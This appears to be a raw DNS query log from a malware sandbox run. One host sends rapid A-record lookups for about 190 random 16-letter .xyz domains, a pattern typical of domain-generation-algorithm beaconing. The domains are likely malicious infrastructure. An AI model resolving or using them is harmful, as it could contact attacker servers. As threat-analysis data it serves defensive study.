Dec 12, 2024 12:09:38.500185966 CET	192.168.2.5	1.1.1.1	0xa9f7	Standard query (0)	koecgqggegimaeya.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:38.813908100 CET	192.168.2.5	1.1.1.1	0x16df	Standard query (0)	aawqwccomcemcysm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.033195019 CET	192.168.2.5	1.1.1.1	0x7b53	Standard query (0)	kcyakwisycecaqgw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.259470940 CET	192.168.2.5	1.1.1.1	0x6f3c	Standard query (0)	uogksceymossmmqc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.489512920 CET	192.168.2.5	1.1.1.1	0x339d	Standard query (0)	qgmyeeguweaukuke.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.713494062 CET	192.168.2.5	1.1.1.1	0x938a	Standard query (0)	mywaqkeaawisisky.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.937000036 CET	192.168.2.5	1.1.1.1	0xeddf	Standard query (0)	yqqsggacauiiugka.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:40.235742092 CET	192.168.2.5	1.1.1.1	0xeef5	Standard query (0)	equmqmqwuuuioawa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:40.470146894 CET	192.168.2.5	1.1.1.1	0xffbd	Standard query (0)	wmoamsauiwauoosg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:40.690927982 CET	192.168.2.5	1.1.1.1	0xf33f	Standard query (0)	oqsakkimkesccikc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:40.918962002 CET	192.168.2.5	1.1.1.1	0xf1cd	Standard query (0)	mgiwaegaqyyaakwy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:41.146244049 CET	192.168.2.5	1.1.1.1	0x71df	Standard query (0)	ucmioacycscyeouk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:41.370163918 CET	192.168.2.5	1.1.1.1	0x240b	Standard query (0)	qumaseqmggyaiauq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:41.682004929 CET	192.168.2.5	1.1.1.1	0x22c2	Standard query (0)	uccyyemqaiiksuwm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:41.994527102 CET	192.168.2.5	1.1.1.1	0x136	Standard query (0)	sesyieaiesegeaow.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:42.395147085 CET	192.168.2.5	1.1.1.1	0x2960	Standard query (0)	kccmicaswqmswwak.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:42.813220024 CET	192.168.2.5	1.1.1.1	0x243d	Standard query (0)	mssaogwocegysoow.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.032983065 CET	192.168.2.5	1.1.1.1	0xca40	Standard query (0)	wssaqmakumewmaes.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.253180981 CET	192.168.2.5	1.1.1.1	0x8069	Standard query (0)	cmukociggiqcouio.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.472346067 CET	192.168.2.5	1.1.1.1	0x8999	Standard query (0)	skyqsyyymyacyayc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.693538904 CET	192.168.2.5	1.1.1.1	0x8fe0	Standard query (0)	uoigsiqmemcscosu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.919353962 CET	192.168.2.5	1.1.1.1	0x7ada	Standard query (0)	kuywuskkgqsigqqs.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:44.145078897 CET	192.168.2.5	1.1.1.1	0x8d57	Standard query (0)	auayomwkewcomwas.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:44.372292995 CET	192.168.2.5	1.1.1.1	0x5e39	Standard query (0)	iyaikmkkowcqemsi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:44.690340042 CET	192.168.2.5	1.1.1.1	0x8e14	Standard query (0)	ggicikyqcaiyguee.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.001241922 CET	192.168.2.5	1.1.1.1	0x839a	Standard query (0)	oqyaoykomyoygics.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.223900080 CET	192.168.2.5	1.1.1.1	0x4d79	Standard query (0)	eqakguiwiqacqiwg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.449497938 CET	192.168.2.5	1.1.1.1	0xff8b	Standard query (0)	wgcaouuqqqwucogy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.764558077 CET	192.168.2.5	1.1.1.1	0x5627	Standard query (0)	ewacuagosgqmuocm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.982743025 CET	192.168.2.5	1.1.1.1	0xaf66	Standard query (0)	wgqyouayikuyuqmk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:46.214833021 CET	192.168.2.5	1.1.1.1	0xe8bb	Standard query (0)	owaaygsacguucaye.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:46.528295040 CET	192.168.2.5	1.1.1.1	0xcf60	Standard query (0)	uwgicagyykoommga.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:46.749459982 CET	192.168.2.5	1.1.1.1	0xd4ef	Standard query (0)	uiggameqqycugsqw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:47.061667919 CET	192.168.2.5	1.1.1.1	0x7503	Standard query (0)	goguooqkgysueime.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:47.283622026 CET	192.168.2.5	1.1.1.1	0x592d	Standard query (0)	keosqeosukqcooco.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:47.604376078 CET	192.168.2.5	1.1.1.1	0x920a	Standard query (0)	maoeeogmuauywsyu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:47.825907946 CET	192.168.2.5	1.1.1.1	0x49af	Standard query (0)	ismqaewykmoiguki.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.046788931 CET	192.168.2.5	1.1.1.1	0x1b99	Standard query (0)	wucwykasawokemaw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.266311884 CET	192.168.2.5	1.1.1.1	0x8a7e	Standard query (0)	ukmcqucewskcqygg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.488928080 CET	192.168.2.5	1.1.1.1	0xf8f4	Standard query (0)	qqqmeagkkosgcayo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.707684040 CET	192.168.2.5	1.1.1.1	0x9b86	Standard query (0)	ysawassgkwqygmmq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.927184105 CET	192.168.2.5	1.1.1.1	0x52ea	Standard query (0)	osaeyoiqoqawauga.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:49.152829885 CET	192.168.2.5	1.1.1.1	0x7833	Standard query (0)	iagisciiyoemgwaa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:49.381007910 CET	192.168.2.5	1.1.1.1	0x76db	Standard query (0)	ymysimqoykwqeqiq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:49.605026960 CET	192.168.2.5	1.1.1.1	0xf284	Standard query (0)	ymmcwogyimsuqmcc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:49.916990042 CET	192.168.2.5	1.1.1.1	0xcd31	Standard query (0)	osmoygyawqmmimkq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:50.136434078 CET	192.168.2.5	1.1.1.1	0x8d8	Standard query (0)	immyecuqwkiyscys.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:50.368664026 CET	192.168.2.5	1.1.1.1	0x6958	Standard query (0)	omsqkuiwcwoegooq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:50.591161966 CET	192.168.2.5	1.1.1.1	0x75a6	Standard query (0)	ukaiiiyqoooycyqm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:50.819029093 CET	192.168.2.5	1.1.1.1	0x70f7	Standard query (0)	isemauqkwwiumyky.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:51.040080070 CET	192.168.2.5	1.1.1.1	0x7a45	Standard query (0)	keguuyioweymiaws.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:51.353822947 CET	192.168.2.5	1.1.1.1	0x7c78	Standard query (0)	kwaywmaequkqccai.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:51.575809002 CET	192.168.2.5	1.1.1.1	0xced8	Standard query (0)	yyimcoiwgckeakcm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:51.800930977 CET	192.168.2.5	1.1.1.1	0x8488	Standard query (0)	ekcwemuekgqsimae.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:52.019994020 CET	192.168.2.5	1.1.1.1	0x8a04	Standard query (0)	imigkomgmqgmakqk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:52.244748116 CET	192.168.2.5	1.1.1.1	0xbe38	Standard query (0)	omasqkwqyskcagwi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:52.471100092 CET	192.168.2.5	1.1.1.1	0x7af5	Standard query (0)	awyomscgweuqmgaw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:52.784451962 CET	192.168.2.5	1.1.1.1	0x77dd	Standard query (0)	eyoyssauceguqwmk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.003576994 CET	192.168.2.5	1.1.1.1	0x8f41	Standard query (0)	gwwcqeykmseicgaw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.224756002 CET	192.168.2.5	1.1.1.1	0x9996	Standard query (0)	qwywqgsmgaoiwsga.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.448724985 CET	192.168.2.5	1.1.1.1	0x786d	Standard query (0)	ososwckwcqmmwqcy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.675957918 CET	192.168.2.5	1.1.1.1	0x4dba	Standard query (0)	osaymwoggqqycmse.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.990776062 CET	192.168.2.5	1.1.1.1	0x70a9	Standard query (0)	oyewqwkusieeoqey.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:54.214498997 CET	192.168.2.5	1.1.1.1	0x5f7f	Standard query (0)	ommwaqgaemsmcqwc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:54.440536976 CET	192.168.2.5	1.1.1.1	0xb187	Standard query (0)	cauewwukyywyqiei.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:54.661647081 CET	192.168.2.5	1.1.1.1	0xfd1a	Standard query (0)	goeykqccmemkswom.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:54.975646019 CET	192.168.2.5	1.1.1.1	0xbfb8	Standard query (0)	aksuakswwkiimamq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:55.193933964 CET	192.168.2.5	1.1.1.1	0xb1c8	Standard query (0)	isaeicumkcuwqmqq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:55.418031931 CET	192.168.2.5	1.1.1.1	0xe942	Standard query (0)	qiswokuokugiooky.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:55.646496058 CET	192.168.2.5	1.1.1.1	0x7acb	Standard query (0)	qiswcssocuqsaqkq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:55.957999945 CET	192.168.2.5	1.1.1.1	0xa5ce	Standard query (0)	qcyksokwumicscaa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:56.182707071 CET	192.168.2.5	1.1.1.1	0x9c12	Standard query (0)	esiaisyasoaoqwki.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:56.495078087 CET	192.168.2.5	1.1.1.1	0x731	Standard query (0)	giqukkwwcwgqcisg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:56.715540886 CET	192.168.2.5	1.1.1.1	0x7b29	Standard query (0)	ymqaaskiwomkucuy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:56.940973997 CET	192.168.2.5	1.1.1.1	0xfa0a	Standard query (0)	akueuaicusaoieiy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:57.166403055 CET	192.168.2.5	1.1.1.1	0x5de1	Standard query (0)	sauygqecsusickcu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:57.389863014 CET	192.168.2.5	1.1.1.1	0xd5d6	Standard query (0)	kkwkgmcoawgaoiwg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:57.616461992 CET	192.168.2.5	1.1.1.1	0xbf9c	Standard query (0)	saumycuogqsqykes.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:57.848612070 CET	192.168.2.5	1.1.1.1	0xeb90	Standard query (0)	ukyokaigmmkumgoa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:58.163933992 CET	192.168.2.5	1.1.1.1	0xeda3	Standard query (0)	eswweuycwwiiykwo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:58.389388084 CET	192.168.2.5	1.1.1.1	0x5d42	Standard query (0)	uksgyqiqaaiaiesi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:58.615192890 CET	192.168.2.5	1.1.1.1	0x8c41	Standard query (0)	smckcsaioceiyasu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:58.932861090 CET	192.168.2.5	1.1.1.1	0x2614	Standard query (0)	esimsqgcwwwmyoqc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:59.247952938 CET	192.168.2.5	1.1.1.1	0x886c	Standard query (0)	maiyuocqqiqiiskw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:59.558121920 CET	192.168.2.5	1.1.1.1	0x7920	Standard query (0)	smaaowemwiwggocu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:59.779001951 CET	192.168.2.5	1.1.1.1	0x9282	Standard query (0)	kwuuwgemogmuomwq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:00.207720041 CET	192.168.2.5	1.1.1.1	0xc1fa	Standard query (0)	ukicsmiwggcwksam.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:00.433682919 CET	192.168.2.5	1.1.1.1	0xb684	Standard query (0)	gwamoggwyegsseao.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:00.659769058 CET	192.168.2.5	1.1.1.1	0x3e32	Standard query (0)	immcqsiceooqyaay.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:00.888497114 CET	192.168.2.5	1.1.1.1	0xeddf	Standard query (0)	kkcqgowgkcoyokcu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:01.110358953 CET	192.168.2.5	1.1.1.1	0xada6	Standard query (0)	kecgikusmakuksma.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:01.342268944 CET	192.168.2.5	1.1.1.1	0xe392	Standard query (0)	ymuiggyusggsymoi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:01.569458961 CET	192.168.2.5	1.1.1.1	0x833d	Standard query (0)	uecouukwkuceyuwg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:01.800668001 CET	192.168.2.5	1.1.1.1	0x1eae	Standard query (0)	eyoaceoookqskqmy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:02.122149944 CET	192.168.2.5	1.1.1.1	0x7ab	Standard query (0)	awwomgcseeqwkkom.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:02.353126049 CET	192.168.2.5	1.1.1.1	0x706a	Standard query (0)	keykoekseemyiewq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:02.574822903 CET	192.168.2.5	1.1.1.1	0xf071	Standard query (0)	ysiwwoeeaaskykaw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:02.890826941 CET	192.168.2.5	1.1.1.1	0x15f9	Standard query (0)	kwmcuwccqmuecgea.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:03.202438116 CET	192.168.2.5	1.1.1.1	0x4c00	Standard query (0)	gwyooeiscmwguqms.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:03.520443916 CET	192.168.2.5	1.1.1.1	0xeb41	Standard query (0)	wuokiysmiucoucak.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:03.751173973 CET	192.168.2.5	1.1.1.1	0xca31	Standard query (0)	wuuiumemmigyyauq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:04.063777924 CET	192.168.2.5	1.1.1.1	0x873e	Standard query (0)	acwomuuukiomgqkm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:04.290635109 CET	192.168.2.5	1.1.1.1	0x8c5b	Standard query (0)	muwqwgaaymomgwmi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:04.604465961 CET	192.168.2.5	1.1.1.1	0x436e	Standard query (0)	omgcoecwsqiuqyug.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:04.918951988 CET	192.168.2.5	1.1.1.1	0xcbad	Standard query (0)	kqmsgskwgemyueya.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:05.144407988 CET	192.168.2.5	1.1.1.1	0x83f0	Standard query (0)	eyiyueewuaqmmwcm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:05.456496954 CET	192.168.2.5	1.1.1.1	0x5832	Standard query (0)	gwoyamckoqoaauoq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:05.681950092 CET	192.168.2.5	1.1.1.1	0x3818	Standard query (0)	qwqsoyoqkymakowm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:05.905684948 CET	192.168.2.5	1.1.1.1	0x7643	Standard query (0)	gcmiymmqgwuquokm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:06.128906965 CET	192.168.2.5	1.1.1.1	0xc07	Standard query (0)	ymseciekayuweoww.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:06.440022945 CET	192.168.2.5	1.1.1.1	0x4f5f	Standard query (0)	oyocwswugeiqqyoo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:06.758460999 CET	192.168.2.5	1.1.1.1	0x1410	Standard query (0)	omgooecquoweeomo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.077876091 CET	192.168.2.5	1.1.1.1	0x18f6	Standard query (0)	imgeoyougkmmeuec.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.300863981 CET	192.168.2.5	1.1.1.1	0x74d9	Standard query (0)	smoswyoekkccyuga.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.540920973 CET	192.168.2.5	1.1.1.1	0xcf15	Standard query (0)	suwkomiqcykeyako.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.760222912 CET	192.168.2.5	1.1.1.1	0x131b	Standard query (0)	smwsugycuuckemue.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.984040976 CET	192.168.2.5	1.1.1.1	0xf52a	Standard query (0)	qigcqiaomwieqwka.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:08.208302021 CET	192.168.2.5	1.1.1.1	0xee46	Standard query (0)	oekcyqqggaegsesm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:08.440534115 CET	192.168.2.5	1.1.1.1	0xd316	Standard query (0)	qcoysaaooaiccqyu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:08.667052984 CET	192.168.2.5	1.1.1.1	0xf51b	Standard query (0)	mismuqiygyeysaoo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:08.892179012 CET	192.168.2.5	1.1.1.1	0xb418	Standard query (0)	wockoyekyageakcg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:09.212451935 CET	192.168.2.5	1.1.1.1	0x34ce	Standard query (0)	ososokqeakgguwsq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:09.432373047 CET	192.168.2.5	1.1.1.1	0x8c94	Standard query (0)	wcgqccqcugomywua.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:09.746609926 CET	192.168.2.5	1.1.1.1	0x3caa	Standard query (0)	aqaqgemescmwsqks.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:09.971740961 CET	192.168.2.5	1.1.1.1	0x9ede	Standard query (0)	aqiwocaywcswuwsq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:10.203067064 CET	192.168.2.5	1.1.1.1	0xba33	Standard query (0)	aqgmgoqcoqqkguyk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:10.449157000 CET	192.168.2.5	1.1.1.1	0xd9a	Standard query (0)	oywgqkusocouysua.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:10.758133888 CET	192.168.2.5	1.1.1.1	0xd83d	Standard query (0)	uyygagweoagcuqky.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:10.985302925 CET	192.168.2.5	1.1.1.1	0x87d	Standard query (0)	muiccguyaeaqwweg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:11.210017920 CET	192.168.2.5	1.1.1.1	0x3bf0	Standard query (0)	qiqueqokwqqgwwci.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:11.430726051 CET	192.168.2.5	1.1.1.1	0xd118	Standard query (0)	uygmgoymcwcgkios.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:11.658395052 CET	192.168.2.5	1.1.1.1	0xe63	Standard query (0)	qiyggmguowygeooc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:11.969325066 CET	192.168.2.5	1.1.1.1	0xe339	Standard query (0)	acacoiqgoimayqwm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:12.188400030 CET	192.168.2.5	1.1.1.1	0x2e48	Standard query (0)	smisyqewaummmwoc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:12.413186073 CET	192.168.2.5	1.1.1.1	0xd2cc	Standard query (0)	mumuqocoisaucwmq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:12.641886950 CET	192.168.2.5	1.1.1.1	0xdfde	Standard query (0)	qqoawmqqwqcusmee.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:12.956986904 CET	192.168.2.5	1.1.1.1	0xc3bc	Standard query (0)	qcygacuamqqugcck.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:13.269947052 CET	192.168.2.5	1.1.1.1	0x99a5	Standard query (0)	kkiigoymgkmoggoq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:13.584258080 CET	192.168.2.5	1.1.1.1	0x7a85	Standard query (0)	qqmicqemgcgieoau.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:13.803211927 CET	192.168.2.5	1.1.1.1	0x5d56	Standard query (0)	sagymwuwgeucsmac.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:14.026089907 CET	192.168.2.5	1.1.1.1	0x44fa	Standard query (0)	igmqooiwioymwkcm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:14.343425989 CET	192.168.2.5	1.1.1.1	0x85d1	Standard query (0)	osyqameakgkceeog.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:14.573537111 CET	192.168.2.5	1.1.1.1	0xfba2	Standard query (0)	sgigamoeiwksoecq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:14.798149109 CET	192.168.2.5	1.1.1.1	0x7358	Standard query (0)	keckssemmeoqieqe.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:15.026546955 CET	192.168.2.5	1.1.1.1	0x67c7	Standard query (0)	caysswwugsmkeksw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:15.254199982 CET	192.168.2.5	1.1.1.1	0xb8c8	Standard query (0)	cgiamwsqgcmqgqse.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:15.478658915 CET	192.168.2.5	1.1.1.1	0x5d42	Standard query (0)	uyeqwcuyimescesu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:15.791593075 CET	192.168.2.5	1.1.1.1	0x7b8c	Standard query (0)	ekiwqiyewuiqoemo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:16.015975952 CET	192.168.2.5	1.1.1.1	0x2c43	Standard query (0)	oeakuqueisysswcg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:16.246800900 CET	192.168.2.5	1.1.1.1	0xeba7	Standard query (0)	acemcwecgiqcukys.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:16.470911026 CET	192.168.2.5	1.1.1.1	0xa1ac	Standard query (0)	qcwaiaiqiwcakawa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:16.693891048 CET	192.168.2.5	1.1.1.1	0x6418	Standard query (0)	esyiocqieemagwmo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:17.005677938 CET	192.168.2.5	1.1.1.1	0xc36b	Standard query (0)	kqsakygykwusqams.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:17.318846941 CET	192.168.2.5	1.1.1.1	0x3246	Standard query (0)	ymygkkggyigeqcqe.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:17.543176889 CET	192.168.2.5	1.1.1.1	0x91ea	Standard query (0)	qqqkagyoymmosuyo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:17.768846989 CET	192.168.2.5	1.1.1.1	0xca83	Standard query (0)	moiimkscmiswaesw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:18.087656975 CET	192.168.2.5	1.1.1.1	0xef26	Standard query (0)	igkiociagqsacmwa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:18.308991909 CET	192.168.2.5	1.1.1.1	0x14d0	Standard query (0)	ymugwyokyyccykmw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:18.624826908 CET	192.168.2.5	1.1.1.1	0x811f	Standard query (0)	gieksqwccmmqkemm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:18.853859901 CET	192.168.2.5	1.1.1.1	0xaa9c	Standard query (0)	iaueigwgocakgsku.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:19.084043980 CET	192.168.2.5	1.1.1.1	0xde29	Standard query (0)	sgsasqgwayeckgoy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:19.316628933 CET	192.168.2.5	1.1.1.1	0x5796	Standard query (0)	kwogawueykiiumao.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:19.631936073 CET	192.168.2.5	1.1.1.1	0xcb27	Standard query (0)	iagmkeayqmuowswy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:19.873781919 CET	192.168.2.5	1.1.1.1	0x70a5	Standard query (0)	yyyagyakeciucagk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:20.191217899 CET	192.168.2.5	1.1.1.1	0x7017	Standard query (0)	isukyiwyscosaaqc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:20.504657984 CET	192.168.2.5	1.1.1.1	0xbedc	Standard query (0)	goicqsmskkygkkka.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:20.734316111 CET	192.168.2.5	1.1.1.1	0x58e5	Standard query (0)	awacwkqgsoomimye.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:20.952886105 CET	192.168.2.5	1.1.1.1	0x5f9a	Standard query (0)	iaawaweqwceogamg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:21.177076101 CET	192.168.2.5	1.1.1.1	0xcd3e	Standard query (0)	kqueagsoikuyocca.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:21.401278019 CET	192.168.2.5	1.1.1.1	0x3805	Standard query (0)	momoqikcaksewaua.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:21.622484922 CET	192.168.2.5	1.1.1.1	0x3fb2	Standard query (0)	suagiqkqmkgysmiw.xyz	A (IP address)	IN (0x0001)	false
